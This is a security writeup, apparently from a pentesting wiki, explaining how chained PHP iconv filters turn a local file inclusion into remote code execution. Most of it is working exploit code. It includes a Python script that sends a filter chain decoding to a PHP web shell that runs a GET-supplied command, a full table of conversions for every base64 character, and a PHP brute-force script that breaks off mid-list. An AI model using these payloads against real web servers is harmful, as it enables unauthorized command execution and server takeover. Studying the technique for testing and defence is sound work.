LFI2RCE via PHP Filters

Intro

This writeup explains how PHP filters can generate arbitrary output. This makes it possible to generate arbitrary PHP code for an include operation without writing it to a file.^[1]

The script’s goal is to construct a Base64 string at the beginning of the stream and finally decode it into the payload interpreted by include.

The bases to do this are:

convert.iconv.UTF8.CSISO2022KR will always prepend \x1b$)C to the string
convert.base64-decode is extremely tolerant, it will basically just ignore any characters that aren’t valid base64. It gives some problems if it finds unexpected ”=” but those can be removed with the convert.iconv.UTF8.UTF7 filter.

The loop to generate arbitrary content is:

prepend \x1b$)C to our string as described above
apply some chain of iconv conversions that leaves our initial base64 intact and converts the part we just prepended to some string where the only valid base64 char is the next part of our base64-encoded php code
base64-decode and base64-encode the string which will remove any garbage in between
Go back to 1 if the base64 we want to construct isn’t finished yet
base64-decode to get our php code

[!WARNING] Include wrappers often append .php to the supplied path, complicating exploitation because an existing PHP file may add content that breaks the chain. A useful alternative is php://temp, whose resource name can have arbitrary suffixes (such as .php) without preventing the wrapper from working.

How to add also suffixes to the resulting data

This writeup explains how PHP filters can also add suffixes to the resulting string. This is useful when the output must follow a specific format, such as JSON, or contain PNG magic bytes.^[2]

Automatic Tools

https://github.com/synacktiv/php_filter_chain_generator
https://github.com/ambionics/wrapwrap (can add suffixes)
https://github.com/ambionics/lightyear (blind file-dump oracle with digit-set jumps)

Full script

import requests

url = "http://localhost/index.php"
file_to_use = "php://temp"
command = "/readflag"

#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}


# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

r = requests.get(url, params={
    "0": command,
    "action": "include",
    "file": final_payload
})

print(r.text)

Improvements

The previous script is limited to the base64 characters needed for that payload. Therefore, I created my own script to bruteforce all the base64 characters:

conversions = {
    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    '1': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.OSF1002035D.EUC-KR|convert.iconv.MAC-CYRILLIC.T.61-8BIT|convert.iconv.1046.CSIBM864|convert.iconv.OSF1002035E.UCS-4BE|convert.iconv.EBCDIC-INT1.IBM943',
    '2': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO6937.OSF1002011C|convert.iconv.CP1146.EUCJP-OPEN|convert.iconv.IBM1157.UTF8',
    '3': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-7.CSISOLATIN3|convert.iconv.ISO-8859-9.CP905|convert.iconv.IBM1112.CSPC858MULTILINGUAL|convert.iconv.EBCDIC-CP-NL.ISO-10646',
    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
    '5': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.RUSCII.IBM275|convert.iconv.CSEBCDICFR.CP857|convert.iconv.EBCDIC-CP-WT.ISO88591',
    '6': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-37.MACUK|convert.iconv.CSIBM297.ISO-IR-203',
    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'a': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSIBM9066.CP1371|convert.iconv.KOI8-RU.OSF00010101|convert.iconv.EBCDIC-CP-FR.ISO-IR-156',
    'b': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1399.UCS4',
    'c': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.8859_9.OSF100201F4|convert.iconv.IBM1112.CP1004|convert.iconv.OSF00010007.CP285|convert.iconv.IBM-1141.OSF10020402',
    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'e': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO27LATINGREEK1.SHIFT_JISX0213|convert.iconv.IBM1164.UCS-4',
    'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    'g': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022CN.CP855|convert.iconv.CSISO49INIS.IBM1142',
    'h': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.THAI8.OSF100201B5|convert.iconv.NS_4551-1.CP1160|convert.iconv.CP275.IBM297',
    'i': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.IBM943|convert.iconv.CUBA.CSIBM1140',
    'j': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO27LATINGREEK1.UCS-4BE|convert.iconv.IBM857.OSF1002011C',
    'k': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO88594.CP912|convert.iconv.ISO-IR-121.CP1122|convert.iconv.IBM420.UTF-32LE|convert.iconv.OSF100201B5.IBM-1399',
    'l': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO90.MACIS|convert.iconv.CSIBM865.10646-1:1993|convert.iconv.ISO_69372.CSEBCDICATDEA',
    'm': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.CSSHIFTJIS|convert.iconv.NO2.CSIBM1399',
    'n': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.IBM862|convert.iconv.CP860.IBM-1399',
    'o': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-6.CP861|convert.iconv.904.UTF-16|convert.iconv.IBM-1122.IBM1390',
    'p': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1125.IBM1146|convert.iconv.IBM284.ISO_8859-16|convert.iconv.ISO-IR-143.IBM-933',
    'q': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.NC_NC00-10:81.CSIBM863|convert.iconv.CP297.UTF16BE',
    'r': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-86.ISO_8859-4:1988|convert.iconv.TURKISH8.CP1149',
    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    't': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.WINDOWS-1251.CP1364|convert.iconv.IBM880.IBM-1146|convert.iconv.IBM-935.CP037|convert.iconv.IBM500.L3|convert.iconv.CP282.TS-5881',
    'u': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937:1992.ISO-IR-121|convert.iconv.ISO_8859-7:1987.ANSI_X3.110|convert.iconv.CSIBM1158.UTF16BE',
    'v': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.HU.ISO_6937:1992|convert.iconv.CSIBM863.IBM284',
    'w': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937-2:1983.857|convert.iconv.8859_3.EBCDIC-CP-FR',
    'x': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1254.ISO-IR-226|convert.iconv.CSMACINTOSH.IBM-1149|convert.iconv.EBCDICESA.UCS4|convert.iconv.1026.UTF-32LE',
    'y': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.EBCDIC-INT1.IBM-1399',
    'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'A': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-111.IBM1130|convert.iconv.L1.ISO-IR-156',
    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    'E': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.LATIN7.MACINTOSH|convert.iconv.CSN_369103.CSIBM1388',
    'F': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSIBM9448.ISO-IR-103|convert.iconv.ISO-IR-199.T.61|convert.iconv.IEC_P27-1.CP937',
    'G': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_8859-3:1988.CP1142|convert.iconv.CSIBM16804.CSIBM1388',
    'H': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.EUCJP-OPEN|convert.iconv.CP5347.CP1144',
    'I': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-6.DS2089|convert.iconv.OSF0004000A.CP852|convert.iconv.HPROMAN8.T.618BIT|convert.iconv.862.CSIBM1143',
    'J': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.US.ISO-8859-13|convert.iconv.CP9066.CSIBM285',
    'K': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM1097.UTF-16BE',
    'L': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ECMACYRILLIC.IBM256|convert.iconv.GEORGIAN-ACADEMY.10646-1:1993|convert.iconv.IBM-1122.IBM920',
    'M': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.SE2.ISO885913|convert.iconv.866NAV.ISO2022JP2|convert.iconv.CP857.CP930',
    'N': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM9066.UTF7|convert.iconv.MIK.CSIBM16804',
    'O': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-197.CSIBM275|convert.iconv.IBM1112.UTF-16BE|convert.iconv.ISO_8859-3:1988.CP500',
    'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'Q': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.NO.CP275|convert.iconv.EBCDIC-GREEK.CP936|convert.iconv.CP922.CP1255|convert.iconv.MAC-IS.EBCDIC-CP-IT',
    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'S': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1154.UCS4',
    'T': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM1163.CP1388|convert.iconv.OSF10020366.MS-MAC-CYRILLIC|convert.iconv.ISO-IR-25.ISO-IR-85|convert.iconv.GREEK.IBM-1144',
    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'X': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.OSF10020388.IBM-935|convert.iconv.CP280.WINDOWS-1252|convert.iconv.CP284.IBM256|convert.iconv.CP284.LATIN1',
    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'Z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO90.CSEBCDICFISE',
    '+': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ANSI_X3.4-1986.CP857|convert.iconv.OSF10020360.ISO885913|convert.iconv.EUCCN.UTF7|convert.iconv.GREEK7-OLD.UCS4',
    '=': ''
}

Here is the script to get encodings that generate each b64 letter:

<?php

$convs = array('437', '500', '500V1', '850', '851', '852', '855', '856', '857', '858', '860', '861', '862', '863', '864', '865', '866', '866NAV', '869', '874', '904', '1026', '1046', '1047', '8859_1', '8859_2', '8859_3', '8859_4', '8859_5', '8859_6', '8859_7', '8859_8', '8859_9', '10646-1:1993', '10646-1:1993/UCS4', 'ANSI_X3.4-1968', 'ANSI_X3.4-1986', 'ANSI_X3.4', 'ANSI_X3.110-1983', 'ANSI_X3.110', 'ARABIC', 'ARABIC7', 'ARMSCII-8', 'ARMSCII8', 'ASCII', 'ASMO-708', 'ASMO_449', 'BALTIC', 'BIG-5', 'BIG-FIVE', 'BIG5-HKSCS', 'BIG5', 'BIG5HKSCS', 'BIGFIVE', 'BRF', 'BS_4730', 'CA', 'CN-BIG5', 'CN-GB', 'CN', 'CP-AR', 'CP-GR', 'CP-HU', 'CP037', 'CP038', 'CP273', 'CP274', 'CP275', 'CP278', 'CP280', 'CP281', 'CP282', 'CP284', 'CP285', 'CP290', 'CP297', 'CP367', 'CP420', 'CP423', 'CP424', 'CP437', 'CP500', 'CP737', 'CP770', 'CP771', 'CP772', 'CP773', 'CP774', 'CP775', 'CP803', 'CP813', 'CP819', 'CP850', 'CP851', 'CP852', 'CP855', 'CP856', 'CP857', 'CP858', 'CP860', 'CP861', 'CP862', 'CP863', 'CP864', 'CP865', 'CP866', 'CP866NAV', 'CP868', 'CP869', 'CP870', 'CP871', 'CP874', 'CP875', 'CP880', 'CP891', 'CP901', 'CP902', 'CP903', 'CP904', 'CP905', 'CP912', 'CP915', 'CP916', 'CP918', 'CP920', 'CP921', 'CP922', 'CP930', 'CP932', 'CP933', 'CP935', 'CP936', 'CP937', 'CP939', 'CP949', 'CP950', 'CP1004', 'CP1008', 'CP1025', 'CP1026', 'CP1046', 'CP1047', 'CP1070', 'CP1079', 'CP1081', 'CP1084', 'CP1089', 'CP1097', 'CP1112', 'CP1122', 'CP1123', 'CP1124', 'CP1125', 'CP1129', 'CP1130', 'CP1132', 'CP1133', 'CP1137', 'CP1140', 'CP1141', 'CP1142', 'CP1143', 'CP1144', 'CP1145', 'CP1146', 'CP1147', 'CP1148', 'CP1149', 'CP1153', 'CP1154', 'CP1155', 'CP1156', 'CP1157', 'CP1158', 'CP1160', 'CP1161', 'CP1162', 'CP1163', 'CP1164', 'CP1166', 'CP1167', 'CP1250', 'CP1251', 'CP1252', 'CP1253', 'CP1254', 'CP1255', 'CP1256', 'CP1257', 'CP1258', 'CP1282', 'CP1361', 'CP1364', 'CP1371', 'CP1388', 'CP1390', 'CP1399', 'CP4517', 'CP4899', 'CP4909', 'CP4971', 'CP5347', 'CP9030', 'CP9066', 'CP9448', 'CP10007', 'CP12712', 'CP16804', 'CPIBM861', 'CSA7-1', 'CSA7-2', 'CSASCII', 'CSA_T500-1983', 'CSA_T500', 'CSA_Z243.4-1985-1', 'CSA_Z243.4-1985-2', 'CSA_Z243.419851', 'CSA_Z243.419852', 'CSDECMCS', 'CSEBCDICATDE', 'CSEBCDICATDEA', 'CSEBCDICCAFR', 'CSEBCDICDKNO', 'CSEBCDICDKNOA', 'CSEBCDICES', 'CSEBCDICESA', 'CSEBCDICESS', 'CSEBCDICFISE', 'CSEBCDICFISEA', 'CSEBCDICFR', 'CSEBCDICIT', 'CSEBCDICPT', 'CSEBCDICUK', 'CSEBCDICUS', 'CSEUCKR', 'CSEUCPKDFMTJAPANESE', 'CSGB2312', 'CSHPROMAN8', 'CSIBM037', 'CSIBM038', 'CSIBM273', 'CSIBM274', 'CSIBM275', 'CSIBM277', 'CSIBM278', 'CSIBM280', 'CSIBM281', 'CSIBM284', 'CSIBM285', 'CSIBM290', 'CSIBM297', 'CSIBM420', 'CSIBM423', 'CSIBM424', 'CSIBM500', 'CSIBM803', 'CSIBM851', 'CSIBM855', 'CSIBM856', 'CSIBM857', 'CSIBM860', 'CSIBM863', 'CSIBM864', 'CSIBM865', 'CSIBM866', 'CSIBM868', 'CSIBM869', 'CSIBM870', 'CSIBM871', 'CSIBM880', 'CSIBM891', 'CSIBM901', 'CSIBM902', 'CSIBM903', 'CSIBM904', 'CSIBM905', 'CSIBM918', 'CSIBM921', 'CSIBM922', 'CSIBM930', 'CSIBM932', 'CSIBM933', 'CSIBM935', 'CSIBM937', 'CSIBM939', 'CSIBM943', 'CSIBM1008', 'CSIBM1025', 'CSIBM1026', 'CSIBM1097', 'CSIBM1112', 'CSIBM1122', 'CSIBM1123', 'CSIBM1124', 'CSIBM1129', 'CSIBM1130', 'CSIBM1132', 'CSIBM1133', 'CSIBM1137', 'CSIBM1140', 'CSIBM1141', 'CSIBM1142', 'CSIBM1143', 'CSIBM1144', 'CSIBM1145', 'CSIBM1146', 'CSIBM1147', 'CSIBM1148', 'CSIBM1149', 'CSIBM1153', 'CSIBM1154', 'CSIBM1155', 'CSIBM1156', 'CSIBM1157', 'CSIBM1158', 'CSIBM1160', 'CSIBM1161', 'CSIBM1163', 'CSIBM1164', 'CSIBM1166', 'CSIBM1167', 'CSIBM1364', 'CSIBM1371', 'CSIBM1388', 'CSIBM1390', 'CSIBM1399', 'CSIBM4517', 'CSIBM4899', 'CSIBM4909', 'CSIBM4971', 'CSIBM5347', 'CSIBM9030', 'CSIBM9066', 'CSIBM9448', 'CSIBM12712', 'CSIBM16804', 'CSIBM11621162', 'CSISO4UNITEDKINGDOM', 'CSISO10SWEDISH', 'CSISO11SWEDISHFORNAMES', 'CSISO14JISC6220RO', 'CSISO15ITALIAN', 'CSISO16PORTUGESE', 'CSISO17SPANISH', 'CSISO18GREEK7OLD', 'CSISO19LATINGREEK', 'CSISO21GERMAN', 'CSISO25FRENCH', 'CSISO27LATINGREEK1', 'CSISO49INIS', 'CSISO50INIS8', 'CSISO51INISCYRILLIC', 'CSISO58GB1988', 'CSISO60DANISHNORWEGIAN', 'CSISO60NORWEGIAN1', 'CSISO61NORWEGIAN2', 'CSISO69FRENCH', 'CSISO84PORTUGUESE2', 'CSISO85SPANISH2', 'CSISO86HUNGARIAN', 'CSISO88GREEK7', 'CSISO89ASMO449', 'CSISO90', 'CSISO92JISC62991984B', 'CSISO99NAPLPS', 'CSISO103T618BIT', 'CSISO111ECMACYRILLIC', 'CSISO121CANADIAN1', 'CSISO122CANADIAN2', 'CSISO139CSN369103', 'CSISO141JUSIB1002', 'CSISO143IECP271', 'CSISO150', 'CSISO150GREEKCCITT', 'CSISO151CUBA', 'CSISO153GOST1976874', 'CSISO646DANISH', 'CSISO2022CN', 'CSISO2022JP', 'CSISO2022JP2', 'CSISO2022KR', 'CSISO2033', 'CSISO5427CYRILLIC', 'CSISO5427CYRILLIC1981', 'CSISO5428GREEK', 'CSISO10367BOX', 'CSISOLATIN1', 'CSISOLATIN2', 'CSISOLATIN3', 'CSISOLATIN4', 'CSISOLATIN5', 'CSISOLATIN6', 'CSISOLATINARABIC', 'CSISOLATINCYRILLIC', 'CSISOLATINGREEK', 'CSISOLATINHEBREW', 'CSKOI8R', 'CSKSC5636', 'CSMACINTOSH', 'CSNATSDANO', 'CSNATSSEFI', 'CSN_369103', 'CSPC8CODEPAGE437', 'CSPC775BALTIC', 'CSPC850MULTILINGUAL', 'CSPC858MULTILINGUAL', 'CSPC862LATINHEBREW', 'CSPCP852', 'CSSHIFTJIS', 'CSUCS4', 'CSUNICODE', 'CSWINDOWS31J', 'CUBA', 'CWI-2', 'CWI', 'CYRILLIC', 'DE', 'DEC-MCS', 'DEC', 'DECMCS', 'DIN_66003', 'DK', 'DS2089', 'DS_2089', 'E13B', 'EBCDIC-AT-DE-A', 'EBCDIC-AT-DE', 'EBCDIC-BE', 'EBCDIC-BR', 'EBCDIC-CA-FR', 'EBCDIC-CP-AR1', 'EBCDIC-CP-AR2', 'EBCDIC-CP-BE', 'EBCDIC-CP-CA', 'EBCDIC-CP-CH', 'EBCDIC-CP-DK', 'EBCDIC-CP-ES', 'EBCDIC-CP-FI', 'EBCDIC-CP-FR', 'EBCDIC-CP-GB', 'EBCDIC-CP-GR', 'EBCDIC-CP-HE', 'EBCDIC-CP-IS', 'EBCDIC-CP-IT', 'EBCDIC-CP-NL', 'EBCDIC-CP-NO', 'EBCDIC-CP-ROECE', 'EBCDIC-CP-SE', 'EBCDIC-CP-TR', 'EBCDIC-CP-US', 'EBCDIC-CP-WT', 'EBCDIC-CP-YU', 'EBCDIC-CYRILLIC', 'EBCDIC-DK-NO-A', 'EBCDIC-DK-NO', 'EBCDIC-ES-A', 'EBCDIC-ES-S', 'EBCDIC-ES', 'EBCDIC-FI-SE-A', 'EBCDIC-FI-SE', 'EBCDIC-FR', 'EBCDIC-GREEK', 'EBCDIC-INT', 'EBCDIC-INT1', 'EBCDIC-IS-FRISS', 'EBCDIC-IT', 'EBCDIC-JP-E', 'EBCDIC-JP-KANA', 'EBCDIC-PT', 'EBCDIC-UK', 'EBCDIC-US', 'EBCDICATDE', 'EBCDICATDEA', 'EBCDICCAFR', 'EBCDICDKNO', 'EBCDICDKNOA', 'EBCDICES', 'EBCDICESA', 'EBCDICESS', 'EBCDICFISE', 'EBCDICFISEA', 'EBCDICFR', 'EBCDICISFRISS', 'EBCDICIT', 'EBCDICPT', 'EBCDICUK', 'EBCDICUS', 'ECMA-114', 'ECMA-118', 'ECMA-128', 'ECMA-CYRILLIC', 'ECMACYRILLIC', 'ELOT_928', 'ES', 'ES2', 'EUC-CN', 'EUC-JISX0213', 'EUC-JP-MS', 'EUC-JP', 'EUC-KR', 'EUC-TW', 'EUCCN', 'EUCJP-MS', 'EUCJP-OPEN', 'EUCJP-WIN', 'EUCJP', 'EUCKR', 'EUCTW', 'FI', 'FR', 'GB', 'GB2312', 'GB13000', 'GB18030', 'GBK', 'GB_1988-80', 'GB_198880', 'GEORGIAN-ACADEMY', 'GEORGIAN-PS', 'GOST_19768-74', 'GOST_19768', 'GOST_1976874', 'GREEK-CCITT', 'GREEK', 'GREEK7-OLD', 'GREEK7', 'GREEK7OLD', 'GREEK8', 'GREEKCCITT', 'HEBREW', 'HP-GREEK8', 'HP-ROMAN8', 'HP-ROMAN9', 'HP-THAI8', 'HP-TURKISH8', 'HPGREEK8', 'HPROMAN8', 'HPROMAN9', 'HPTHAI8', 'HPTURKISH8', 'HU', 'IBM-803', 'IBM-856', 'IBM-901', 'IBM-902', 'IBM-921', 'IBM-922', 'IBM-930', 'IBM-932', 'IBM-933', 'IBM-935', 'IBM-937', 'IBM-939', 'IBM-943', 'IBM-1008', 'IBM-1025', 'IBM-1046', 'IBM-1047', 'IBM-1097', 'IBM-1112', 'IBM-1122', 'IBM-1123', 'IBM-1124', 'IBM-1129', 'IBM-1130', 'IBM-1132', 'IBM-1133', 'IBM-1137', 'IBM-1140', 'IBM-1141', 'IBM-1142', 'IBM-1143', 'IBM-1144', 'IBM-1145', 'IBM-1146', 'IBM-1147', 'IBM-1148', 'IBM-1149', 'IBM-1153', 'IBM-1154', 'IBM-1155', 'IBM-1156', 'IBM-1157', 'IBM-1158', 'IBM-1160', 'IBM-1161', 'IBM-1162', 'IBM-1163', 'IBM-1164', 'IBM-1166', 'IBM-1167', 'IBM-1364', 'IBM-1371', 'IBM-1388', 'IBM-1390', 'IBM-1399', 'IBM-4517', 'IBM-4899', 'IBM-4909', 'IBM-4971', 'IBM-5347', 'IBM-9030', 'IBM-9066', 'IBM-9448', 'IBM-12712', 'IBM-16804', 'IBM037', 'IBM038', 'IBM256', 'IBM273', 'IBM274', 'IBM275', 'IBM277', 'IBM278', 'IBM280', 'IBM281', 'IBM284', 'IBM285', 'IBM290', 'IBM297', 'IBM367', 'IBM420', 'IBM423', 'IBM424', 'IBM437', 'IBM500', 'IBM775', 'IBM803', 'IBM813', 'IBM819', 'IBM848', 'IBM850', 'IBM851', 'IBM852', 'IBM855', 'IBM856', 'IBM857', 'IBM858', 'IBM860', 'IBM861', 'IBM862', 'IBM863', 'IBM864', 'IBM865', 'IBM866', 'IBM866NAV', 'IBM868', 'IBM869', 'IBM870', 'IBM871', 'IBM874', 'IBM875', 'IBM880', 'IBM891', 'IBM901', 'IBM902', 'IBM903', 'IBM904', 'IBM905', 'IBM912', 'IBM915', 'IBM916', 'IBM918', 'IBM920', 'IBM921', 'IBM922', 'IBM930', 'IBM932', 'IBM933', 'IBM935', 'IBM937', 'IBM939', 'IBM943', 'IBM1004', 'IBM1008', 'IBM1025', 'IBM1026', 'IBM1046', 'IBM1047', 'IBM1089', 'IBM1097', 'IBM1112', 'IBM1122', 'IBM1123', 'IBM1124', 'IBM1129', 'IBM1130', 'IBM1132', 'IBM1133', 'IBM1137', 'IBM1140', 'IBM1141', 'IBM1142', 'IBM1143', 'IBM1144', 'IBM1145', 'IBM1146', 'IBM1147', 'IBM1148', 'IBM1149', 'IBM1153', 'IBM1154', 'IBM1155', 'IBM1156', 'IBM1157', 'IBM1158', 'IBM1160', 'IBM1161', 'IBM1162', 'IBM1163', 'IBM1164', 'IBM1166', 'IBM1167', 'IBM1364', 'IBM1371', 'IBM1388', 'IBM1390', 'IBM1399', 'IBM4517', 'IBM4899', 'IBM4909', 'IBM4971', 'IBM5347', 'IBM9030', 'IBM9066', 'IBM9448', 'IBM12712', 'IBM16804', 'IEC_P27-1', 'IEC_P271', 'INIS-8', 'INIS-CYRILLIC', 'INIS', 'INIS8', 'INISCYRILLIC', 'ISIRI-3342', 'ISIRI3342', 'ISO-2022-CN-EXT', 'ISO-2022-CN', 'ISO-2022-JP-2', 'ISO-2022-JP-3', 'ISO-2022-JP', 'ISO-2022-KR', 'ISO-8859-1', 'ISO-8859-2', 'ISO-8859-3', 'ISO-8859-4', 'ISO-8859-5', 'ISO-8859-6', 'ISO-8859-7', 'ISO-8859-8', 'ISO-8859-9', 'ISO-8859-9E', 'ISO-8859-10', 'ISO-8859-11', 'ISO-8859-13', 'ISO-8859-14', 'ISO-8859-15', 'ISO-8859-16', 'ISO-10646', 'ISO-10646/UCS2', 'ISO-10646/UCS4', 'ISO-10646/UTF-8', 'ISO-10646/UTF8', 'ISO-CELTIC', 'ISO-IR-4', 'ISO-IR-6', 